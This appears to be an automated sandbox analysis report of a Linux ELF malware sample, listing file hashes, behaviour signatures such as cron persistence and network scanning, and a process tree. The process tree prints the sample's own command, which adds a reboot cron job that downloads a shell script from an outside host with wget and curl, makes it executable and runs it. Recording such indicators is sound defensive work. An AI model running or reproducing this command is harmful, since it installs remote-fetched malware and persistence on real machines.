Analysis

  • max time kernel
    139s
  • max time network
    152s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    27-10-2024 07:07

General

  • Target

    x86.elf

  • Size

    93KB

  • MD5

    bb9275394716c60d1941432c7085ca13

  • SHA1

    43f6e51ca69e70abb7d6cfd7f11f15df3fcc97cc

  • SHA256

    3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615

  • SHA512

    047ec8451a8d35ac67c7ff26e145cfe5536d94ef1a7d280d2e70dc4c3ed7dfd1386a957e1b76f50c10429774df02964d48d50d6bb8debc2c9a3bcced833b125d

  • SSDEEP

    1536:lDVOLhrwmN92XVNbMxvk2bB3n2GNR9maOY7h8RGEhXXBP:9VO9v4vbMxvkEB3VNR9u4h8RGaxP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Changes its process name 1 IoCs

Processes

  • /tmp/x86.elf
    /tmp/x86.elf
    1⤵
    • Renames itself
    • Changes its process name
    PID:1588
    • /bin/sh
      sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
      2⤵
      • File and Directory Permissions Modification
      PID:1589
      • /usr/bin/crontab
        crontab -
        3⤵
        • Creates/modifies Cron job
        PID:1591
      • /usr/bin/crontab
        crontab -l
        3⤵
          PID:1592

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • /var/spool/cron/crontabs/tmp.YFaPe1

      Filesize

      306B

      MD5

      a8520c6d667cd1df99baca99579e61af

      SHA1

      0e4aa9309156fda2f4ba2f4123cb730ebb265f5d

      SHA256

      975afb4b2fd3a02eb23d6e2ef969ad5867174f7eb6b1845271f8b7567ed5dd21

      SHA512

      65889242b08f3cf7c9ba7e466ffbacccc4ddf4b655d54ca2800fe993edca755f9b47483c0e2afc4e726a45d3c742d50d84ac2cc96a9f4080eaedbaa60dbd7e46